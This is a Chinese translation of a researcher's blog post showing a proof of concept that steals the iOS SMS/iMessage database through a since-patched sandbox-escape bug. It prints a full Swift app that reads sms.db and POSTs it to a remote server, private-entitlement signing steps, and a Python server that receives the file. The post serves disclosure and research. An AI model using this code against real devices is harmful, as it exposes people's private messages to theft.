使用iOS 0day窃取您的SMS消息

admin 2021年3月1日19:00:32评论106 views字数 2575阅读8分35秒阅读模式

译文声明
本文是翻译文章,文章原作者Wojciech Reguła 文章来源:https://wojciechregula.blog
原文地址:https://wojciechregula.blog/post/stealing-your-sms-messages-with-ios-0day/
译文仅供参考,具体内容表达以及含义原文为准

这是一篇特别的帖子,因为我完全基于另一位研究员,s1guza的0day,所有的故事都源于下面这条推特:

使用iOS 0day窃取您的SMS消息

Siguza告诉我们,他的0day已在iOS 13.5 beta3中修复。因此,实际上这是最新的非Beta iOS版本(13.4.1)的沙箱逃逸0day。在这篇文章中,我将向您展示如何重现该错误并编写一个使用该0day窃取iMessage历史记录的恶意应用程序!

我不会详细解释此错误,因为S1guza计划发表一篇有关该错误的文章。地址:https://siguza.github.io/psychicpaper/

计划

  1. 创建一个应用程序来加载==sms.db==文件并发送到我们的服务器
  2. 使用恶意权限签署应用程序(使用0day)
  3. 在设备上安装应用
  4. 打开接收服务器
  5. 打开数据库!

开发

我创建了一个简单的Swift应用,其中包含以下代码:

```
import SwiftUI

struct ContentView: View {

@State var serverURLString: String = ""

var body: some View {

    VStack() {
        Text("""
            iMessage DB stealing PoC\n
            based on @s1guza's tweet\n
            coded by @_r3ggi
            """).multilineTextAlignment(.center)

        TextField("Server URL", text: $serverURLString).padding(.all, 40).textFieldStyle(RoundedBorderTextFieldStyle())

        Button(action: {
            sendPostData(serverURLString: self.serverURLString)
        }) {
            Text("Send your sms.db!")
        }
    }
}

}

func sendPostData(serverURLString: String) {
let messagesPath = "/private/var/mobile/Library/SMS/sms.db"
let messagesURL = URL(fileURLWithPath: messagesPath)
let serverURL = URL(string: serverURLString)
var request = URLRequest(url: serverURL!)
request.httpMethod = "POST"

do {
    if FileManager.init().isReadableFile(atPath: messagesPath) {
        let rawMessagesDB = try Data(contentsOf: messagesURL)
        request.httpBody = rawMessagesDB
    } else {
        request.httpBody = "Nope".data(using: .utf8)
    }
} catch {}

let task = URLSession.shared.dataTask(with: request) { (data, response, error) in
        if let error = error {
            print("Error took place \(error)")
            return
        }
}
task.resume()

}

```
然后,我编译了该应用程序并创建了以下权利文件:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
application-identifier
[redacted].blog.wojciechregula.SandboxEscape

platform-application
com.apple.private.security.no-container
com.apple.private.security.storage.Messages

```

我签署了编译后的应用程序:

```
codesign -d --entitlements entitlements.xml SandboxEscape.app -f -s "Apple Development: wojciechregula.blog [redacted]"

```
下一步是在设备上安装应用程序:

使用iOS 0day窃取您的SMS消息
之后,我打开了我的Python服务器:

```
from http.server import HTTPServer, BaseHTTPRequestHandler

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

def do_GET(self):
    self.send_response(200)
    self.end_headers()
    self.wfile.write(b'Hello, world!')

def do_POST(self):
    print("RECEIVING!!!")
    content_length = int(self.headers['Content-Length'])
    body = self.rfile.read(content_length)
    with open("./sms.db", "wb") as f:
        f.write(body)

httpd = HTTPServer(('192.168.0.14', 8888), SimpleHTTPRequestHandler)
httpd.serve_forever()

```
我打开了应用程序:

使用iOS 0day窃取您的SMS消息
然后,我提供了服务器的URL,单击了按钮,然后……!我使用最新的非Beta iOS版本从我的iPhone发送的所有消息已发送到服务器:

使用iOS 0day窃取您的SMS消息

我能做什么?

等待iOS 13.5。在Apple发布更新之前,请勿安装任何可疑应用程序!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月1日19:00:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用iOS 0day窃取您的SMS消息http://cn-sec.com/archives/246787.html